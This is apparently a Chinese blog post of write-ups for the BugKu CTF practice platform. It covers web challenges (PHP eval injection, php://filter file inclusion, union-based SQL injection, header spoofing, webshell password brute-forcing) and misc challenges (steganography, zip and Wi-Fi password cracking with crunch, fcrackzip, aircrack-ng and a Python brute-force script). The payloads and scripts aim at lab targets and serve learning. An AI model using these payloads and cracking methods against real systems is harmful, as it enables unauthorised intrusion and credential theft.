BugKu-wp

作者: BerL1n | 来源:发表于2018-11-20 14:45 被阅读0次

    前两天无意间翻到一个CTF平台--BugKu,记下wp

    WEB

    1.Web2

    查看源代码即可得到flag

    2.计算器:

    输入框位数受到限制,只能输一位,F12修改位数


    image.png

    3.web基础$_GET

    
    $what=$_GET['what'];
    
    echo $what;
    
    if($what=='flag')
    
    echo 'flag{****}';
    
    

    根据题意,直接将what赋值为flag去get提交
    ?what=flag

    4.web基础$_POST

    用post方式提交


    image.png

    5.矛盾

    $num=$_GET['num'];
    if(!is_numeric($num))
    {
    echo $num;
    if($num==1)
    echo 'flag{**********}';
    }
    
    image.png

    观察题目,应该是使用is_numeric遇到%00截断的漏洞,这里构造
    http://123.206.87.240:8002/get/index1.php?num=1%00

    知识点:
    is_numeric() 判断变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。不仅检查10进制,16进制是可以。

    is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!

    该函数还可能造成sql注入,例如将‘1 or 1'转换为16进制形式,再传参,就可以造成sql注入

    6.web3

    界面有点不尽 的弹窗,应该是使用了大量的alert语句,直接查看网页源代码

    最后一行是这样的

    image.png

    使用html解码,得到flag

    7.域名解析

    提示:听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
    需要在hosts文件修改以下,我是在linux下做的比较方便
    修改/etc/hosts
    添加 flag.baidu.com 123.206.87.240 到文件中
    然后打开浏览器访问 flag.baidu.com 得到flag

    8.你必须让他停下

    打开网站后网页一直都在跳动,而且页面不同,猜测flag在其中的一些网页中,采用burp一帧帧的看,在Repeter多次go,很容易就得到了flag

    9.本地包含

    <?php 
        include "flag.php"; 
        $a = @$_REQUEST['hello']; 
        eval( "var_dump($a);"); 
        show_source(__FILE__); 
    ?>
    

    方法一

        对_REQUEST[]函数并不是很了解,百度得到它对get/Post都可以接受
    
        其中第一句话include“flag.php”说明该文件在本地
    
         第二句话要获得hello的值,由于hello为’hello’,所以无论在url栏中对hello赋任何值,都会全盘接受,其中var_dump()是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)
    
    根据这一特性,我们尝试将flag.php文件直接输出
    

    构造如下:http://123.206.87.240:8003/?hello=1);print_r(file("./flag.php"));%23

    使原文语句为

    
        eval(“var_dump(1);print_r(file(“./flag.php”))”)
    
    

    方法二:

    另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')
    
    然后查按F12可以知道flag
    

    10.变量1

    <?php  
    
    error_reporting(0);
    include "flag1.php";
    highlight_file(__file__);
    if(isset($_GET['args'])){
        $args = $_GET['args'];
        if(!preg_match("/^\w+$/",$args)){
            die("args error!");
        }
        eval("var_dump($$args);");
    }
    ?>
    

    根据代码得知只能get无符号字符串的args,而输入之后会返回$$args的值,提示flag再变量中,可以构造args=GLOBALS即可返回该全局变量数组的所有值,其中包括flag。

    构造:http://123.206.87.240:8004/index1.php?args=GLOBALS

    11.web5

    查看源代码


    image.png

    发现了一大堆组合,考虑是JSFUCK,

    直接将括号复制到谷歌浏览器的控制台运行得到flag


    image.png

    12. 头等舱

    burp抓包:

    image.png

    13. 网站被黑

    image.png

    http://123.206.87.240:8002/webshell/
    御剑后台扫描,发现shell.php

    image.png

    用burp自带的字典爆破,密码为hack

    14.管理员系统

    打开解题网址

    image.png

    很像sql注入的题,随便输入个账号先试试

    image.png

    看到这个就想到X-Forwarded-For

    简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP

    伪造一个XFF头,伪装成本地登录

    X-Forwarded_For: 127.0.0.1

    在来看看源码
    看到在源码的最后面有一个base64的编码


    image.png

    解密为test123,猜测应该是管理员密码

    Burp抓包,然后转到Repeater模块中

    image.png

    Go得到了flag,转换为flag格式

    15.Web4

    源码:


    image.png

    查看网页源代码p1=%..%...;p2=%..%...

    题目最后p1+%..%...+p2

    先进行URL解码

    
    p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b
    
    p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
    
    %35%34%61%61%32=54aa2
    
    

    完整代码:

    functioncheckSubmit(){
    
          vara=document.getElementById("password");
    
          if("undefined"!=typeof a){
    
                if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
    
                      return!0;
    
                alert("Error");
    
                a.focus();
    
                return!1
    
          }
    
    }
    
    document.getElementById("levelQuest").onsubmit=checkSubmit;
    
    

    则可知当传入的password值为67d709b2b54aa2aa648cf6e87a7114f1时返回真值得到flag。

    16.flag在index里

    将网页点开,在点击相应连接,网页地址栏变为:

    http://123.206.87.240:8005/post/index.php?file=show.php

    看到了file关键字,猜测为文件包含,看看用php://filter能否将index读出来
    构造:
    http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

    PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
    

    得到base64解码,观察程序得到flag

    17.输入密码查看flag

    image.png

    burp进行五位数弱密码爆破,密码为13579

    18. 点击一百万次

    题目要点击100万次才行,很显然不能
    查看网页源代码,根据
    if(clicks >= 1000000)
    直接将clicks赋值为10000000(POST方法),查看结果
    不能直接修改前端代码
    得到flag


    image.png

    19.备份是个好习惯

    打开网页d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

    将里面的东西解码,每个解码的方式都试过了,未果,观察里面的加密值,发现先后重复

    将d41d8cd98f00b204e9800998ecf8427e解密

    image.png

    然后在flag中试了各种与空有关的东西,未果。

    观察题目,说备份是个好习惯猜测应该与备份有关

    小知识:

    备份文件一般情况是在后缀名后加的.swp,.bak

    http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

    看看里面有什么东西

    http://120.24.86.145:8002/web16/index.php.bak

    访问成功了,复原备份文件

    
    include_once "flag.php";
    
    ini_set("display_errors", 0);
    
    $str = strstr($_SERVER['REQUEST_URI'], '?');
    
    $str = substr($str,1);
    
    $str = str_replace('key','',$str);
    
    parse_str($str);
    
    echo md5($key1);
    
    echo md5($key2);
    
    if(md5($key1) == md5($key2) && $key1 !== $key2){
    
    echo $flag."取得flag";
    
    

    要求key1和key2的md5值相等,但是值不相等

    百度得这两个值为240610708和QNKCDZO,尝试赋值,并没有什么变化

    继续观察源程序,发现程序中将key字符变为空,考虑用kkeyey取代key,


    image.png

    然后得到了flag

    20.成绩单

    看到题后首先想到的是sql注入
    先爆数据库:
    0' union select 1,user(),database(),4 -- +

    image.png

    爆表:
    0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag' -- +

    image.png

    可以看到有俩表,flag应该在fl4g里

    爆列:
    -1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' #

    image.png

    值:
    -1' union select 1,skctf_flag,3,4 from fl4g#

    BUGKU{Sql_INJECT0N_4813drd8hz4}

    21.秋名山老司机

    image.png

    算数,无奈只能上脚本
    这题不停刷新会看到


    image.png

    要post提交一个value数据,value就是结果值
    福脚本:

    import requests
    import re
    
    import base64
    
    url='http://123.206.87.240:8002/qiumingshan/'
    
    s=requests.session()
    
    r=s.get(url)
    
    
    searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
    
    d = {
        "value": eval(searchObj.group(1))
    }
    r = s.post(url, data=d)
    print(r.text)
    
    

    运行结果得flag

    22.速度要快

    image.png

    源码提示:
    上脚本

    import requests
    
    import re
    
    import base64
    
    url='http://123.206.87.240:8002/web6/'
    
    s=requests.session()
    
    r=s.get(url)
    
    flag=r.headers['flag']
    
    print(flag)
    
    flag1=base64.b64decode(flag)
    
    print(flag1)
    
    flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])
    
    #将flag分为两部分,[1:-1]就是获取到的值
    
    print(flag2)
    
    data={"margin":flag2}
    
    r=s.post(url,data)
    
    print(r.text)
    

    23.cookies欺骗

    点进来URL
    http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
    a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。没作用,但line=1时出现一行php代码,可判定line为源码的行数
    写脚本遍历获得源代码

    import re
    
    import requests
    
    url='http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'
    
    for i in range(100):
     
        url1=url%i
    
        c1=requests.get(url1).text
    
        print(c1)
    
        if c1=='':
            break
    

    php源码:

    <?php
    
    error_reporting(0);
    
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    
    $file_list = array(
    
    '0' =>'keys.txt',
    
    '1' =>'index.php',
    
    );
    
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    
    $file_list[2]='keys.php';
    }
    
    if(in_array($file, $file_list)){
    
    $fa = file($file);
    
    echo $fa[$line];
    }
    ?>
    

    从源码中看出访问keys.php,然后cookie值要margin=margin。。
    前提keys.php以base64形式访问a2V5cy5waHA=


    image.png

    24.never give up

    源码提示:

    <!--1p.html-->
    never never never give up !!!
    
    

    抓包
    然后访问1p.html


    image.png

    会得到一堆base64,解密后是url编码,再解码

    if(!$_GET['id'])
    {
        header('Location: hello.php?id=1');
        exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
        echo 'no no no no no no no';
        return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
        require("f4l2a3g.txt");
    }
    else
    {
        print "never never never give up !!!";
    }
    
    
    ?>
    

    直接访问f4l2a3g.txt 得到flag

    MISC

    1.签到题

    直接关注公众号即可

    2.这是一张简单的图片

    将图片下载到本地,使用winhex打开图片,在末尾有一组数据信息

    &#107;&#101;&#121;&#123;&#121;&#111;&#117;&#32;&#97;&#114;&#101;&#32;&#114;&#105;&#103;&#104;&#116;&#125;
    
    image.png

    html解码即可

    3.隐写

    打开发现是一张png格式的照片,放进StegSolve没发现啥
    百度一下原来是改高度


    这里写图片描述

    找到IDR片段就是00 00 00 0D开头的,把其中的A4改为F4,得到flag


    这里写图片描述

    4.telnet

    打开发现是一个数据包,用wireshark打开,查看整个包的信息,可以追踪一下TCP流,发现里面有一个flag


    image.png

    5.眼见非实

    解压发现是个Word文档,尝试打开打不开,放进winhex里面看是504B0304开头的,一个zip文件,改后缀名再次打开,并在里面的document.xml发现flag


    image.png

    6.啊哒

    拿到之后是一个jpg文件,先使用binwalk分析下文件,得到图片中隐藏了一段tiff信息以及一个压缩包,都分离出来,发现压缩包被加密了,

    tiff信息在相机型号出处有一段十六进制,转换成字符串以后是sdnisc_2018,如下图所示:

    image.png

    使用这个密码解密压缩包,即可获得

    7.又一张图片,还单纯吗??

    放进binwalk里跑一下,发现里面还有一张图片分离出来


    image.png

    没找到flag,foremost提取吧

    # foremost 图片地址
    root@kali:~/桌面# foremost 2.jpg
    Processing: 2.jpg
    |*|
    root@kali:~/桌面# ls
    2.jpg  output
    root@kali:~/桌面# cd output/
    root@kali:~/桌面/output# ls
    audit.txt  jpg
    

    这时会在当前目录生成output文件,打开文件就可以看到一张flag图片


    image.png

    8.猜

    直接百度搜图,某刘姓女明星
    key{liuyifei}

    9.宽带信息泄露

    看到是一个二进制文件,用RoutePassView打开,题目提示是用户名,便寻找用户名


    image.png

    flag{用户名}

    10.隐写2

    winhex打开没发现什么
    使用binwalk查看信息


    image.png

    里面zip压缩文件
    使用binwalk或者foremost分离
    打开output文件,里面有一个zip文件

    image

    还有个提示


    image.png

    提示密码是三位数
    创建字典

    crunch 3 3 0123456789 -o password.txt
    

    fcrackzip爆破

    fcrackzip -D -p password.txt -u flag.rar -v
    
    image.png

    也可以脚本爆破

    import zipfile
    import os
     
    def main():
        zip = zipfile.ZipFile("./123.zip","r",zipfile.zlib.DEFLATED)
        with open("./password.txt") as f:
            for data in f.readlines():
                try:
                    print("\n[+] Trying the password ",data.strip())
                    zip.extractall(path="./",pwd=data.strip().encode())
                    print("\n[+] The password is",data.strip())
                    zip.close()
                    return 
                except Exception as e :
                    print(e)
                    pass
     
    if __name__ == '__main__':
        main()
    
    

    解压后得到一张图片
    通过写字板打开获得f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

    很明显eTB1IEFyZSBhIGhAY2tlciE=是Base64加密,通过解密获得y0u Are a h@cker!

    即f1@g{y0u Are a h@cker!},提交时需要将f1@g变换为flag,即最终为flag{y0u Are a h@cker!}

    11.多种方法解决

    下载下来发现是一个exe文件,又打不开,放进Notepad++看一下,发现这是一个可以转图片的Base64
    直接转换即可 http://base64.xpcha.com/ 是个二维码
    扫一下获得key

    image.png

    12.linux

    下载下来是一个linux下的压缩包,但这题不需要在linux下,解压后文件Notepad++打开并搜索关键字key得到flag
    在linux下也行


    image.png

    13.闪的好快

    一个变化的二维码
    使用StegSolve查看帧数,共18,


    image.png

    一帧一帧扫完拼成flag

    14.come_game

    下载下来打开是个游戏
    最后一关是flag,手残当根本过不去,另想别法


    image.png

    观察规律发现打开游戏后会生成Deathtime文件,应该是死亡时间,还有一个save文件应该是保存关数,于是想办法修改关数直接到最后一关,用winhex打开save文件

    测试发现最后一关是第5关


    image.png image.png

    flag: SYC{}

    15.隐写3

    感觉下面还有东西,于是就打算改高度,于是发现了flag


    image.png image.png image.png

    16.做个游戏(08067CTF)

    提示:坚持60秒 相当难
    下载下来jar文件,java反编译一下,


    image.png

    17想蹭网先解开密码

    image.png
    # w 写模式,它是不能读的,如果用w模式打开一个已经存在的文件,会清空以前的文件内容,重新写
    # w+ 是读写内容,只要沾上w,肯定会清空原来的文件 
    with open('wifilist.txt','w+') as f:
        for i in range(0,10):
            for j in range(0,10):
                for k in range(0,10):
                    for h in range(0,10):
                        f.write('1391040'+str(i)+str(j)+str(k)+str(h)+'\n')
    f.close
    
    

    用脚本先生成字典,然后爆破
    kali命令爆破

    aircrack-ng wifi.cap -w wifi.txt
    
    image.png image.png

    得到flag

    18.Linux2

    直接解压Notepad++打开搜索key就有了,,,,

    19.账号被盗了

    访问链接,使用burpsuite抓包,修改Cookie,右键->Send to Repeater->go


    image.png

    将123.exe下载下来,打开是一个CF刷枪软件

    image.png

    使用wireshark抓包,账号密码随便填写


    image.png image.png

    账号: YmtjdGZ0ZXN0QDE2My5jb20=

    密码:YTEyMzQ1Ng==

    将base64解密得到163邮箱,将密码解密是a123456,登录邮箱就可得到flag,


    image.png

    20. 细心的大象

    lag格式 flag{xxx_xxx_xxx}

    解压得到1.jpg图片

    查看属性,发现有一段base64加密内容


    image.png

    解密得到明文,这应该是密码之类的,先放着

    image.png

    接下来 日常丢进kali binwalk 一下
    分离 打开 要密码
    把我们刚才的解密丢进去!成功!!
    又是一张图片?
    看图片应该是是改宽高

    winhex修改高度


    image.png

    21.爆照(08067CTF)

    留坑

    相关文章

      网友评论

          本文标题:BugKu-wp

          本文链接:https://www.haomeiwen.com/subject/spnafqtx.html